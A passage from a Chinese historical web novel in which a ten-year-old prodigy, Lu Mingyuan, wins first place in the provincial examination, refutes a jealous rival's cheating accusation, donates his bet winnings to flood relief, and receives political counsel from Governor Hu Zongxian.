一直安静侍立在陆明渊身后的若雪,此刻却再也忍不住了。 她上前一步,清冷的眸子如寒星般落在陈彦航脸上,声音不大,却字字清晰,如冰珠落玉盘。 “这位公子,子曰:‘君子求诸己,小人求诸人。’你自身才学浅薄,眼界不过方寸之地,便以为天下英雄尽皆如你。” “殊不知,夏虫不可语冰,凡鸟焉知鸿鹄之志?你理解不了,只因你层次未到,而非公子不能。” 少女的声音清脆悦耳,言辞却锋利如刀。 她本就生得清丽绝尘,换上那身天青色旗袍后,更是气质脱俗,宛若谪仙。 此刻薄怒微嗔,非但没有减损半分颜色,反而更添了几分动人的风致。 一个如此绝色的少女站出来为陆明渊鸣不平,立刻将这场争辩推向了高潮。 所有人的目光都聚焦在了这小小的圈子里。 人群中,终于有人认出了陆明渊。 “等等……那个孩子……那个孩子看着好生眼熟!” 一个中年书生揉了揉眼睛,死死地盯着陆明渊的侧脸,脑中灵光一闪,猛地失声惊呼。 “我想起来了!他……他就是院试之时,连夺县、府、院三试案首,策论惊动圣驾,被誉为‘杭州府百年第一魁首’的陆明渊当面?” “什么?他就是陆明渊?” “那个十岁的神童?” “就是那个写出《漕海之争》的陆明渊?” “天哪!竟然是他!” “轰”的一声,人群彻底沸腾了! 陆明渊这个名字,在杭州府的读书人圈子里,早已是如雷贯耳! 那是一段传奇! 一个活生生的神话! 院试三元及第,策论名动天下,十岁稚龄,圣上亲封男爵! 这一桩桩一件件,哪一件不是惊世骇俗? 如果说,一个普通的十岁孩童要中举,众人会觉得是天方夜谭。 可如果这个孩童是陆明渊…… 那似乎,一切皆有可能! 毕竟,这个少年,本就是来创造奇迹的! 一时间,看向陆明渊的目光,从惊疑、不信,迅速转为了震撼、敬畏,甚至是狂热! “原来是陆案首当面,失敬失敬!” “陆案首也来参加乡试了?我等真是……眼拙了!” “以陆案首之才,中个举人,又有何难?” 风向瞬间逆转。 方才还附和陈彦航的人,此刻都恨不得找个地缝钻进去,看向陈彦航的眼神,也充满了同情与幸灾乐祸。 你惹谁不好,偏偏惹到了这尊大神头上! 陈彦航的脸色,瞬间变得比猪肝还要难看。 他备考乡试,两耳不闻窗外事,虽听说过陆明渊的名字,却从未见过其人,更不知其威望竟至于斯! 当着这么多人的面,他已是骑虎难下。 若是此刻认怂,他陈彦航以后在杭州府士林之中,便再也抬不起头来。 他咬了咬牙,脖子一梗,色厉内荏的嘴硬道。 “陆明渊又如何?院试是院试,乡试是乡试!” “考官不同,文风不同,他一个黄口小儿,文章写得再好,也未必合得了主考大人的心意!” “我说他中不了,就是中不了!” 说罢,他像是为了给自己壮胆,从怀中掏出一张银票,狠狠地拍在手上。 “空口白话没意思!我陈彦航,愿与陆案首赌上一千两白银!” “若你陆明渊此番不中,只需当众向我赔个不是!” “若你中了,这一千两银子,我双手奉上!你,敢不敢赌?” 一千两白银! 人群中响起一片倒吸凉气的声音。 这对于一个普通士子而言,已是一笔天文数字。 所有人的目光,都集中在了陆明渊身上。 面对陈彦航的歇斯底里,陆明渊的脸上,自始至终都没有半分波澜。 他甚至没有去看陈彦航一眼,只是淡淡地开口,声音不大,却清晰地传入了每个人的耳中。 “赌注,我接了。” 话音刚落,贡院门口的唱榜官,终于再次开口。 他手中捧着一份单独的明黄卷轴,神情肃穆,深吸一口气,用比之前洪亮数倍的声音,开始宣唱。 “癸卯科乡试,第五名,仁和县,陈思远!” “第四名,钱塘县,李修文!” “第三名,余杭县,赵启年!” 每唱出一个名字,人群中便爆发出一阵惊呼与骚动。 这前五名,无一不是早已名声在外的才子。 陈彦航的心,提到了嗓子眼。 他的手心里全是冷汗,死死地盯着唱榜官的嘴。 唱榜官顿了顿,似乎是在酝酿情绪,整个广场,在此刻静得落针可闻。 “癸卯科乡试,亚元,第二名……” 唱榜官的声音拖得极长,吊足了所有人的胃口。 第154章 谁会在乎区区一千两银子? 十岁。 解元。 这两个词,在任何一个读书人的脑海中,都分属于两个截然不同的世界。 一个代表着懵懂的开始,一个代表着无数人皓首穷经亦不可得的荣耀巅峰。 而现在,这两个词,被强行捏合在了一起,呈现在了所有人面前。 这已经不是奇迹了。 这是对常识的颠覆,是对数百年科举铁律的公然践踏! 寂静只持续了短短数息。 当人们终于从那极致的震惊中挣脱出来时,整个广场,便如同被投入了巨石的滚油锅,彻底沸腾了! “解元……是陆明渊?” “我没听错吧?真的是那个十岁的陆案首?” “天啊!十岁解元!我大乾立朝以来,可曾有过这等闻所未闻之事?” “这……这……这简直是圣人降世,文曲星临凡啊!” 议论声、惊叹声、倒吸凉气的声音汇成了一股巨大的声浪,几乎要将贡院的屋顶掀翻。 人们疯狂地向前拥挤,想要亲眼看一看,这位创造了神话的少年,究竟是何等模样。 林博文的狂喜还凝固在脸上,他抓着陆明渊胳膊的手,嘴巴张了张,却一个字也说不出来。 亚元的喜悦,在“解元陆明渊”这五个字面前,竟显得有些微不足道。 他看着身旁这个比自己矮了两个头的少年,眼神中除了激动,更多的是一种发自内心的敬畏与与有荣焉的骄傲。 若雪的眼眸中,那万年不化的冰雪,漾开一抹动人心魄的涟漪。 她看着陆明渊的背影,嘴角微微上扬,勾勒出一个几乎看不见的弧度。 公子,本该如此。 与之形成鲜明对比的,是陈彦航。 他的脸,已经不能用惨白来形容,那是一种血色尽失的灰败,像是被抽走了魂魄的木偶。 “不……不可能……” 他喃喃自语,双目失神,不断地摇着头。 “这绝不可能……假的,一定是假的……” 第三次落榜的打击,与亲眼见证一个十岁孩童登顶的荒谬感,让他几乎窒息。 他寒窗苦读十余载,自诩才高八斗,却连一个举人的功名都求之不得。 而这个黄口小儿,这个他方才肆意嘲讽的对象,却轻而易举地摘下了无数士子梦寐以求的桂冠。 这种强烈的对比,瞬间刺穿了他所有的理智与骄傲。 嫉妒与不甘,化作了怨毒的火焰,在他胸中熊熊燃烧。 “有内幕!” 一声凄厉的嘶吼,划破了嘈杂的议论声,让周围瞬间一静。 陈彦航双目赤红,面容扭曲,状若疯癫地指着陆明渊和林博文,对周围的人群大声咆哮道。 “这里面一定有内幕!你们都被骗了!” “他林博文是杭州知府周泰的亲传弟子!他陆明渊是什么人?一个十岁的小屁孩!” “乡试何等艰难,怎么可能一个中了解元,一个中了亚元?” “这杭州府的前两名,都被他们师兄弟给包揽了!天底下哪有这么巧的事?” “一定是漏题了!乡试的试卷,肯定早就被他们提前拿到了!这是舞弊!是科举舞弊!” 他声嘶力竭地喊着,仿佛只有这样,才能宣泄心中的不平,才能为自己的失败找到一个合理的借口。 这番话,如同一盆冷水,浇在了沸腾的人群头上。 众人面面相觑,脸上的狂热渐渐褪去,取而代之的是一丝狐疑。 是啊……解元,亚元,出自同门,而且其中一个还是十岁的孩童。 这确实……太过巧合了。 科举舞弊,向来是读书人最为敏感的话题,牵动着每一个人的神经。 一时间,看向陆明渊和林博文的目光,开始变得复杂起来。 林博文气得脸色铁青,指着陈彦航怒喝道。 “你……你血口喷人!我与明渊兄凭真才实学中得举,岂容你这落榜之人在此污蔑!” “真才实学?哈哈!谁信?” 陈彦航癫狂大笑,“一个十五岁的亚元,一个十岁的解元!你们是把天下读书人都当成傻子吗?” 眼看舆论就要被这疯子带偏,陆明渊终于缓缓地转过身,第一次正眼看向陈彦航。 他的眼神依旧平静如古井,没有愤怒,没有不屑,只有一种淡淡的、仿佛看着蝼蚁般的怜悯。 “我本以为,你只是眼界狭隘,心胸促狭。” 陆明渊开口了,声音不大,却带着一种奇异的穿透力,清晰地压过了所有的嘈杂。 “现在看来,你不止是心胸狭隘,更是愚昧无知。” 他顿了顿,目光扫过周围那些面带疑色的士子,朗声说道。 “怪不得你连考三年,都名落孙山。想来,你连乡试的规矩,都未曾弄懂吧?” “乡试之卷,乃是由各省贡院出题,密封之后,快马加鞭送至京城国子监。” “再由国子监祭酒与诸位博士,从各省呈上的数百道题目中,筛选出最终的考题,重新印制。” “直到开考前三日,这些试卷才会由京中派下的专人,护送至各省贡院。” “入库之后,库门便会贴上封条,由主考、巡抚、布政使三方大员共同掌印,日夜有兵丁看守。” “开考当日,所有试卷的蜜蜡火封,皆是在我等所有考生面前,当众查验开启。” “请问在场的诸位同仁,开考那日,你们可曾看到火封有半点破损?” 陆明渊的声音不疾不徐,条理清晰。 在场的考生们闻言,纷纷回忆起开考那日的场景。 所有流程都严谨无比,查验火封之时,更是让前排的考生代表上前亲手触摸,绝无半点舞弊的可能。 “没有!火封完好无损,我亲眼所见!” “对!我等皆可作证!” “陈彦航,你休要在此胡言乱语!” 陆明渊看着脸色由红转青的陈彦航,嘴角勾起一抹淡淡的弧度,继续道。 “你这番话,质疑的不是我与林兄二人。” “你是在说,主考大人徇私舞弊,巡抚大人玩忽职守,布政使大人同流合污。” “甚至连远在京城的国子监诸公,都参与了这场为你我二人量身定做的骗局。” “你更是将在场所有参与考的士子,都当成了瞎子和傻子,眼睁睁看着我们作弊而无动于衷。” “陈彦航,你好大的胆子!” 最后一句,陆明渊的声音陡然转厉,如平地起惊雷! “轰!” 人群彻底炸了。 经陆明渊这么一说,所有人才反应过来,陈彦航这番指控的性质有多么严重! 这已经不是单纯的污蔑,而是将整个浙江省的官场,乃至京城的国子监,以及所有参加乡试的学子,全都拖下了水! “原来如此!陈彦航,你安的是什么心!” “自己考不中,便想拉着所有人陪葬吗?用心何其歹毒!” “我等亲眼看着试卷开启,绝无问题!你这分明是落榜之后,心生不满,在此撒泼泄愤!” “将他赶出去!我等读书人,羞与此等无耻之徒为伍!” 风向瞬间逆转,无数道愤怒与鄙夷的目光,如利剑般射向陈彦航。 陈彦航被这股气势吓得连连后退,脸色煞白,嘴唇哆嗦着,却再也说不出一句完整的话来。 他完了。 他知道,从今天起,他陈彦航在杭州府士林之中,将再无立足之地。 就在此时,林博文冷哼一声,上前一步,沉声开口道。 “陈彦航,舞弊之事暂且不论,你我之间的赌约,是否还算数?” 这一问,又将所有人的注意力拉了回来。 是啊,还有赌约! 一千两白银!还有那颗要拧下来当夜壶的脑袋! 陈彦航浑身一颤,面如死灰。 不等他开口,一直静立在陆明渊身后的若雪,却忽然上前一步,清冷的声音响起。 “林公子,想来这位陈公子,也并非是能随手拿出一千两银子的人。” 她的目光落在陈彦航那一身虽光鲜却非顶级料子的衣衫上,语气平淡地说道。 “我们公子向来大度,不愿与人为难。” “只要陈公子当着在场所有学子的面,为方才的无礼之言,向我家公子诚心诚意地道个歉,这一千两银子的赌注,便就此作罢。陈公子,以为如何?” 此言一出,众人皆是一愣。 陆明渊看了一眼若雪,眼中闪过一丝赞许。 他瞬间便明白了若雪的心思。 这个陈彦航,一身穿着价值不菲,显然是家境殷实的富家子弟。 但观其言行,便知其心胸狭窄,爱慕虚荣,将脸面看得比性命还重。 方才因一句话便心生嫉妒,此刻若是让他当众道歉,比杀了他还要难受。 若雪这一招,是诛心之计。 想明白了这些,陆明渊便顺着若雪的话,淡淡地说道。 “若雪说的是。只要陈公子肯认个错,道个歉,那一千两银子,便免了。” 这番话,听在周围人耳中,简直是宽宏大量的典范。 “陆解元真是好气度!” “是啊,被人如此污蔑,竟还能不计前嫌,佩服,佩服!” “陈彦航,还不快快道歉!能得陆解元一句原谅,是你三生有幸!” “就是,道个歉就免了一千两银子,天底下哪有这么好的事?” 一句句或夸赞、或嘲讽、或起哄的话语,像一记记响亮的耳光,狠狠地抽在陈彦航的脸上。 他感觉自己的脸颊火辣辣地疼,周围所有人的目光都像是在看一个笑话。 让他给一个十岁的孩子道歉? 让他当着全杭州府士子的面,承认自己有眼无珠? “啊——!” 陈彦航所有的理智,在这一刻彻底崩断。 他发出一声野兽般的嘶吼,猛地从怀中掏出一叠厚厚的银票,狠狠地摔在地上! “谁稀罕这些臭钱!谁会在乎区区一千两银子?” 他双目通红,状若疯魔地咆哮着,声音都变了调。 “我告诉你们!我没错!我没错!” 说完,他像是再也无法承受这巨大的羞辱,拨开人群,连滚带爬地,狼狈不堪地逃走了。 看着他仓皇逃窜的背影,陆明渊轻轻摇了摇头。 心魔已生,此人这辈子,怕是再也与科举无缘了。 第155章 不愧是解元之才,宰辅之相啊! “诸位。” 陆明渊沉声开口,声音清朗,一如既往的平静,清传入了在场每一个人的耳中。 “我听闻,不久之前,仁和县大雨成灾,冲毁良田无数,致使百姓流离失所,食不果腹,衣不蔽体。” “我陆明渊,一介寒门学子,身无长物。但这千两白银,既是因我而起,便由我来处置。” “我愿将这一千两银子,尽数捐出。” “另外,” 他看向若雪,若雪微微颔首,从随身的荷包中又取出一叠更为厚实的银票,递到他手中。 “我个人,再拿出两千两。” 陆明渊将两叠银票合在一起,对着众人朗声说道。 “这三千两银子,我将用以赈济仁和县的灾民。” “自明日起,我会在城外流民聚集之处开设粥铺,每日施粥,凡是贫苦之人,腹中饥饿者,皆可前去领取。” “虽是杯水车薪,但也算是我辈读书人的一点心意。” “我等读书,所为何事?不外如是!” 最后一句,掷地有声! “轰!” 人群再次沸腾了! 如果说,方才陆明渊舌战陈彦航,展现的是他过人的智慧与辩。 那么此刻,他这番心怀苍生的言语和义举,则彻底征服了在场所有读书人的心! 这才是读书人该有的风骨!这才是解元郎应有的气度! “好!陆解元说得好!” “我辈读书,当如是也!” 林博文激动得满脸通红,他上前一步,大声道。 “明渊兄高义!林某虽家境不算富裕,但也愿捐出一百两,为仁和县的灾民尽一份绵薄之力!” “说得好!算我一个!我捐五十两!” “我捐八十两!” “我虽落榜,但读书人的本心不能丢!我捐三十两!” 一时间,群情激昂。 那些家境富裕的学子,纷纷慷慨解囊。即便是一些家境贫寒的士子,也咬着牙,从怀中掏出几两碎银。 他们捐的或许不多,但那份心意,却是一样的滚烫。 贡院的一名官员,显然也被这番景象深深触动。 他快步跑回贡院,不多时,便有几名差役抬着一张长条桌案,并送来了笔墨纸砚。 那官员对着陆明渊拱了拱手,满脸敬佩地说道。 “陆解元,下官为诸位的义举所感,特备下桌案,还请陆解元亲自执笔,将所有捐款的仁人义士之名,一一记录在册,以彰其德!” 陆明渊也不推辞,对着那官员回了一礼,便走到桌案前,提笔蘸墨。 “林博文兄,一百两。” “钱塘县,孙志才,五十两。” “海宁县,张子明,八十两。” …… 半个时辰后,当最后一名学子捐出自己的银两,桌案上的名册已经写了满满数页。 经过统计,在场学子,竟一共凑齐了一万五千两白银! “诸位同仁,” 陆明渊放下笔,对着众人深深一揖。 “此番善举,功德无量!这粥铺,便命名为‘杭州府学子粥铺’,让仁和县的百姓们知道,是我杭州府的读书人,在记挂着他们!” “好!” “就叫‘杭州府学子粥铺’!” 叫好声此起彼伏,所有参与其中的学子,脸上都洋溢着一种发自内心的自豪与光荣。 就在这时,人群外围,响起了一阵清朗的鼓掌声。 “啪!啪!啪!” 掌声不急不缓,却带着一种奇特的韵律,让所有人的目光都不由自主地被吸引了过去。 人群自动分开一条道路,一名身着暗青色云锦长衫的中年男子,缓缓走了进来。 此人约莫四十余岁,面容儒雅,,脸上挂着和煦的笑容,但那双眼睛,却精光内敛。 他手中把玩着两颗温润的玉胆,行走之间,自有一股不怒自威的气度。 “沈一石!是杭州首富沈一石!” 人群中有人认出了来者,发出一声低低的惊呼。 沈一石,这个名字在杭州府,乃至整个浙江,都可谓是如雷贯耳。 他以丝绸生意起家,短短二十年间,便建立起一个庞大的商业帝国,生意遍布大乾南北,甚至远销海外。传闻其财富,足以与国库相较。 这样的大人物,怎么会出现在这里? 沈一石没有理会周围的议论,径直走到陆明渊面前,笑容可掬地拱了拱手。 “陆解元,诸位学子,高义!沈某佩服!” 他的声音温润醇厚,让人如沐春风。 “沈某方才在远处,亲眼目睹了诸位的善行,心中实在感慨万千。” “我大乾能有诸位这等心怀苍生的读书人,何愁国祚不兴,天下不安?” 一番话说得滴水不漏,既夸赞了陆明渊,又将所有学子都囊括了进去,让人听着极为舒服。 陆明渊微微颔首,回礼道:“沈员外过誉了。我等不过是尽读书人的本分而已。” “好一个读书人的本分!” 沈一石拊掌大笑,随即话锋一转,眼中精光一闪。 “不过,陆解元,诸位学子,沈某有一言,不知当讲不当讲?” “沈员外请说。” 沈一石收起笑容,神色变得郑重起来。 “开设粥铺,固然是善举。但每日熬煮、分发,耗时耗力,且覆盖范围有限。” “流民聚集,人多手杂,也容易滋生事端。依沈某之见,救灾如救火,不如釜底抽薪,一步到位。” 他伸出两根手指,然后又伸出五根手指。 “诸位学子义捐一万五千两,沈某愿再出资两万五千两!凑足四万两白银!” 四万两! 这个数字一出,全场皆惊! 这沈一石,好大的手笔! 不等众人从震惊中回过神来,沈一石继续说道。 “这四万两银子,沈某会即刻派人,从江南各地粮商手中,直接购入十万石粮食!” “然后动用沈家所有的人脉和船队,以最快的速度,将这十万石粮食,直接送往仁和县,交由县衙统一发放!” “如此一来,无需开设粥铺,便能让仁和县所有受灾的百姓,家家有粮,户户有米!这才是真正的赈济之策!” 这番话,如同一道惊雷,在众人脑海中炸响。 所有人都被沈一石的魄力与远见所折服。 直接发粮,远比施粥来得更直接,更有效! 十万石粮食,这是何等庞大的数量!足以让整个仁和县的灾情,得到极大的缓解! “沈员外仁义!” “沈员外大才!我等不及也!” 夸赞之声,不绝于耳。 陆明渊看着沈一石,眼神中也闪过一丝赞许。 此人不仅有钱,更有头脑,行事果决,是个了不起的人物。 他再次躬身一揖:“沈员外高瞻远瞩,义薄云天,明渊代仁和县数十万百姓,谢过沈员外!” “陆解元不必多礼。” 沈一石笑着摆了摆手,扶住了陆明渊。 “沈某不过是借花献佛,若非陆解元登高一呼,又怎会有今日之盛事?沈某这点微末功劳,实在不值一提。” 他顿了顿,目光灼灼地看着陆明渊,话语中带着一丝恳切。 “沈某今日能亲眼见证文曲星临凡,实乃三生有幸。” “只是,沈某心中还有一个不情之请,不知陆解元可否应允?” “沈员外但说无妨。” 沈一石笑道:“沈某也是爱墨之人,平生最敬有才学的读书人。” “沈某人斗胆,想向陆解元求一副墨宝,留作纪念。” “也不必劳烦解元公另作,就将您乡试时所作的诗词,随手写上一幅,便足矣!” 此言一出,众人再次哗然。 这沈一石,当真是精明到了骨子里! 他捐出巨款,却不求任何名分,只求陆明渊一幅字。 这幅字,看似简单,实则意义非凡! 这是十岁解元的亲笔! 是在他高中解元,名动天下的这一天,当着全杭州府士子的面写下的! 其价值,又岂是金钱可以衡量的? 日后陆明渊若是平步青云,官居一品,这幅字的价值,更是不可估量! 这笔买卖,做得太值了! 陆明渊闻言,心中也是瞬间了然。 他看着沈一石那张带笑的脸,知道这是一个无法拒绝的请求。 对方出了钱,出了力,自己若是不给这个面子,倒显得小家子气了。 “沈员外客气了。” 陆明渊淡淡一笑,点头同意,“既然员外有此雅兴,明渊自当奉陪。” 说罢,他转身对那名贡院官员道。 “还请大人,再备一张新纸。” “好!好!” 那官员早已看得心潮澎湃,连忙亲自去取来一张上好的宣纸,平平整整地铺在桌案之上。 若雪再次上前,默默地站在陆明渊身侧,素手轻抬,将墨锭拿起,在砚台中不疾不徐地研磨起来。 她的动作轻柔而专注,一圈,又一圈,空气中渐渐弥漫开一股清雅的墨香。 广场上,所有人都屏住了呼吸,目光齐刷刷地汇聚在那张雪白的宣纸上。 陆明渊深吸一口气,将袖口挽起,露出一截白皙的手腕。 他提起那支饱蘸了墨汁的狼毫,悬于纸上,整个人的气势,在这一刻悄然发生了变化。 如果说方才的他,是沉稳冷静的少年,那么此刻的他,笔锋未落,一股凌云之气,已然透纸而出! 落笔! 笔落沙沙春蚕声,少年意气满帝京。 十年寒窗磨利剑,万里边关请长缨。 胸中经纬安邦策,耳畔弦歌稼穑情。 今朝写就凌云志,定助山河四海平。 他的笔速极快,行云流水,一气呵成! 当最后一笔落下,陆明渊收笔而立。 整幅字,墨迹未干,却已有一股金戈铁马、气吞山河的磅礴气势,扑面而来! “好!” 沈一石看得双目放光,第一个拊掌大赞! “好一个‘少年意气满帝京’!好一个‘定助山河四海平’!” 第156章 大乾朝堂之上,两股最大的势力 杭州府衙的朱红大门与高悬的“明镜高悬”匾额,在阳光下显得庄严肃穆。 两尊巨大的石狮子蹲踞门前,无声地注视着来往的人群,仿佛见证了这座城市数百年的风雨变迁。 衙役们引着三人穿过正门,绕过审案的正堂,空气中那股喧嚣与市井气便被彻底隔绝在外。 一名管事模样的中年人迎了上来,对着周泰行了一礼,然后目光落在若雪身上,微笑着说道。 “这位姑娘,知府大人与两位公子有要事相商,还请您先到偏厅稍作歇息,已备好了茶点。” 若雪的目光看向陆明渊,见他微微颔首,便也福了一礼,轻声道。 “有劳了。” 杜如明领着陆明渊与林博文,继续向内走,最终停在一处雅致的书房前。 “大人,陆解元与林亚元到了。” 师爷在门外轻声禀报。 “进来吧。” 书房内传来周泰略带一丝疲惫,却依旧中气十足的声音。 推门而入,一股浓郁的墨香与书卷气扑面而来。 见到二人进来,周泰放下茶杯,脸上露出了真切的笑容,起身相迎。 “明渊,博文,你们二人此次,可是为我杭州府,为本官,挣足了脸面啊!” 他先是拍了拍林博文的肩膀,语气中满是欣慰。 “博文,亚元之名,不负你平日苦功,也不负为师对你的期望!” 林博文脸上难掩激动与喜悦,躬身行礼,声音洪亮:“全赖恩师教诲!” 周泰满意地点点头,随即目光转向了陆明渊。 他的眼神变得更为复杂,有欣赏,有惊叹,甚至还有一丝探究。 “陆明渊,本官该称你一声陆解元了。” 周泰的语气温和了许多。 “十岁解元,三试魁首。此事一出,不只是杭州府,怕是整个江南,乃至京城,都要为之震动。好,很好!” 面对一府之尊的夸赞,陆明渊只是平静地拱手一揖,神色淡然如水:“学生侥幸,不敢居功。” 这份远超年龄的沉稳,让周泰眼中的欣赏之色更浓。 他摆了摆手,示意两人坐下,自己也重新落座。 简单的寒暄过后,周泰脸上的笑容渐渐收敛,神情变得严肃起来。 “今日请你们二人前来,除了道贺之外,其实另有要事。” 他看着陆明渊,缓缓说道,“或者说,要见你的,并非本官。” 林博文闻言一愣,陆明渊则是眼帘微垂,静待下文。 周泰沉声道:“真正要见你的,是浙直总督,胡宗宪,胡部堂大人。” “胡宗宪!” 林博文失声惊呼,眼中满是震惊与崇拜。 这个名字,在大乾,尤其是在倭患不绝的东南沿海,便是一座定海神山! 数月之前,倭寇大举犯边,浙江沿海数个卫所失守,杭州府内一度人心惶惶。 正是胡宗宪亲临前线,调兵遣将,运筹帷幄,历经数场血战,方才将倭寇主力击退,保得一方平安。 这等擎天驾海的大人物,为何要见一个新科解元? 周泰似乎很满意林博文的反应,他解释道。 “胡部堂与你的老师林瀚文巡抚,乃是同科好友。” “先前部堂大人一直在前线指挥战事,无暇他顾。” “如今大胜之后,倭寇暂退,部堂大人才得以喘息,于杭州府暂作休整,处理浙江内务。” “部堂大人听闻了你的事迹,尤其是那篇《漕海之争》的策论,赞不绝口。” “·又念及与林巡抚的旧情,故而提出,想亲眼见一见,到底是何等的少年英才。” 话说到这里,一切便都明了了。 周泰转向林博文,语气恢复了老师的威严与期许。 “博文,你这次考得不错,但心性仍需磨砺。回去之后,好生沉淀,莫要被一时的功名迷了眼。” “再过两年,待学问根基更为扎实,再去京城参加会试,方有把握。去吧。” “是,恩师。” 林博文虽有些遗憾不能同去面见胡宗宪,但也知分寸,恭敬地行礼告退。 书房内,只剩下了周泰与陆明渊二人。 周泰站起身,整了整官袍,对陆明渊道。 “至于你,明渊,你的路,自有林巡抚为你铺陈,本官就不班门弄斧了。走吧,随我来,莫要让部堂大人久等。” 陆明渊默然起身,跟在周泰身后。 两人一前一后,穿过书房的侧门,走进了一条更为幽静的回廊。 府衙后院,与前院的威严肃穆截然不同。 这里亭台楼阁,小桥流水,栽种着奇花异草,俨然一派江南园林的景致。 空气中弥漫着淡淡的桂花香,越往里走,越是静谧。 最终,周泰在一处极为雅致的独立小院前停下了脚步。 院门虚掩,可以看到里面一株巨大的芭蕉树,叶片宽大,绿意盎然。 “部堂大人喜静,你我进去后,万事小心。” 周泰低声嘱咐了一句,这才上前,轻轻叩了叩门。 一名青衣小厮拉开院门,见到周泰,躬身行礼,并未说话,只是侧身让开了一条路。 踏入院中,一股慵懒的暖意扑面而来。 只见院中的芭蕉树下,摆着一张竹制的躺椅。 一名身穿寻常素色长袍的中年男子,正闭着眼躺在椅上,身上盖着一张薄毯,晒着午后的太阳。 他的面容带着几分久经风霜的疲惫,鬓角已然染上了些许霜白。 整个人躺在那里,自有一股渊渟岳峙的沉凝气度。 直到周泰与陆明渊走近,那人才仿佛从假寐中惊醒,缓缓睁开了眼睛。 那是一双怎样的眼睛? 深邃,锐利,仿佛看透了无数生死,洞悉了世间所有诡谲。 仅仅是一道目光,便带着千军万马的杀伐之气与运筹帷幄的沉静智慧。 周泰站在一旁,身形不自觉地躬得更低了些,态度极为恭敬,沉声开口道。 “部堂大人,这便是县试、院试、乡试,三试魁首,陆明渊。” 胡宗宪的目光,落在了陆明渊身上。 他没有起身,只是静静地打量着这个年仅十岁的少年。 眼神中的锐利渐渐褪去,化为一丝纯粹的好奇与欣赏。 良久,他才缓缓点了点头,开口道,声音带着一丝沙哑,却字字清晰,掷地有声。 “陆明渊,你可知,你创下了我杭州府,乃至我大乾朝数百年来的一个奇迹?” “自太祖开国以来,十岁之身,便高中举人者,你是第一个。这个记录,前无古人。” 面对这等评价,陆明渊依旧保持着那份不卑不亢,躬身一揖。 “学生不敢当。皆是恩师林瀚文教导有方。” “呵呵……” 胡宗宪发出一声低沉的笑,摇了摇头。 “瀚文兄若是在此,怕是要被你这句话羞得无地自容。他能教你经义文章,却教不了你这份天授的才情与心性。” 他坐起身,指了指身旁的石凳:“坐。” 待陆明渊坐下,胡宗宪才继续说道。 “少年郎,该谦虚时,自当谦虚。但该狂妄时,也当狂妄。” “若无一股冲天的意气,又如何能写出‘今朝写就凌云志,定助山河四海平’这般的诗句?” 陆明渊心中一凛,他没想到,连自己在贡院前写的那首诗,这么快就传到了这位总督的耳中。 “今日以周泰之名召你前来,而非我总督府,目的便是为了避嫌。” 胡宗宪的语气变得平淡,却也更为直接。 “你是林瀚文的弟子,从你拜师的那一刻起,你身上便刻上了理学一脉的烙印,将来也必定是清流皇党的中坚。” “而我胡宗宪,是严阁老的人。你我之间,明面上,不宜有太多牵扯。” 这番话,直白得近乎残酷,瞬间便将朝堂之上那波诡谲的党争,血淋淋地剖开在了陆明渊面前。 皇党,阁老。 这是大乾朝堂之上,两股最庞大的势力。 胡宗宪看着陆明渊瞬间变得凝重的神情,眼中闪过一丝赞许。 这少年,听得懂。 “今日见你,一来,是看看故人之学生,到底是何等风采。二来,是见见我浙江未来数十年,或许能撑起一片天的青年才俊。” “这三来嘛……” 胡宗宪顿了顿,目光变得悠远而深邃。 “是我胡宗宪本人,有一句话,希望你能记住。” 陆明渊立刻起身,神情严肃,郑重地拱手道:“还请部堂大人指教。” 胡宗宪微微摆手,示意他不必多礼,语气淡然地开口。 “将来,你入京之后,无论遇到什么苦难,无论受到何等刁难,任何时候,都不要放弃,更不要自乱阵脚。” “你要记住,你是林瀚文的弟子,你是皇党的人。” “只要当今皇上,没有下圣旨杀你,那就说明,皇上要用你。” “所有针对你的为难,所有让你寸步难行的困境,都不过是眼前浮云,是磨砺你这块璞玉的砂石,无需在意。” “接下来的会试之旅,乃至入仕之后,将会有无数勋贵高官向你抛出橄榄枝。” “你要记住一点,守好你自己的本心,站稳你自己的位置。” “你是皇党,只要做好了这件事,你便不会有事。” 这番话,已经不是提点,而是近乎于一种政治嘱托。 陆明渊心神剧震,他从胡宗宪的话语中,听出了一丝悲凉,一丝无奈。 还有一种身在棋局之中,早已看透结局的清醒。 这位战功赫赫的总督,这位严党麾下的干城,似乎早已预见到了自己未来的命运。 陆明渊深深地吸了一口气,对着胡宗宪,行了一个大礼,一揖到底。 “学生陆明渊,谨记部堂大人教诲!” “去吧。” 胡宗宪重新躺了下去,闭上眼睛,仿佛有些累了,只是轻轻摆了摆手。 “周泰,杭州府该给的赏赐,照发,无需有任何顾虑。我胡宗宪,还没到人走茶凉的地步。” “下官遵命!” 周泰连忙应道。 他带着陆明渊,悄无声息地退出了小院。 第157章 让一府之尊的知府大人帮忙? 回廊幽长,桂子落了一地。 周泰的背影,似乎比来时要佝偻了几分。 胡宗宪的那些话,字字如雷,不仅是说给陆明渊听,同样也是在敲打周泰。 “我胡宗宪,还没到人走茶凉的地步。” 这句话,是说给周泰听的。是安抚,也是警告。 直到走回那间熟悉的书房,重新闻到那股浓郁的墨香,周泰才仿佛从某种巨大的压力中解脱出来。 他长长地舒了一口气,转身看着陆明渊,眼神里再无半分面对晚辈的随意。 “明渊,” 他斟酌着词句,声音比之前低沉了许多。 “部堂大人的话,你要一字一句,都刻在心里。” “学生明白。” 陆明渊躬身应道。 周泰点了点头,不再多言。 他走到书案后,从一个上了锁的抽屉里,取出一个沉甸甸的木匣,放在桌上。 “这是乡试魁首的彩头,我杭州府的规矩,解元赏银五千两。本官已着人为你兑换成了银票,便于携带。” 他打开木匣,里面是五张银票,由大乾最大的票号“四海通”开具的银票。 每一张都是一千两的面额,码放得整整齐齐。 五千两白银,对于任何一个寻常家庭而言,都是一笔足以改变命运的巨额财富。 然而,陆明渊的目光落在那些银票上,只是平静地扫了一眼,便收了回来。 他知道,与今日胡宗宪那番话相比,这五千两银子,轻如鸿毛。 “多谢府尊大人。” “去吧,” 周泰挥了挥手,语气温和。 “若雪姑娘已在偏厅等候多时了。” 当陆明渊带着若雪走出府衙那朱红色的高大门楣时,午后的阳光正盛,照在身上,暖洋洋的。 可陆明渊的心中,却萦绕着一丝来自芭蕉树下的凉意。 他回头望了一眼那“明镜高悬”的匾额,在心中默念着胡宗宪的话。 皇党,阁老……这盘棋,他终究是身在其中了。 返回江陵县的马车上,若雪见他一路沉默,只是安静地为他添上热茶,将一块软垫塞在他的背后,并未出言打扰。 江陵县还是那个江陵县,青石板路,小桥流水,空气中弥漫着熟悉的市井烟火气。 当马车停在双魁楼前时,那种紧绷的感觉才终于松弛下来。 陆明渊很清楚,乡试之后,便是会试。 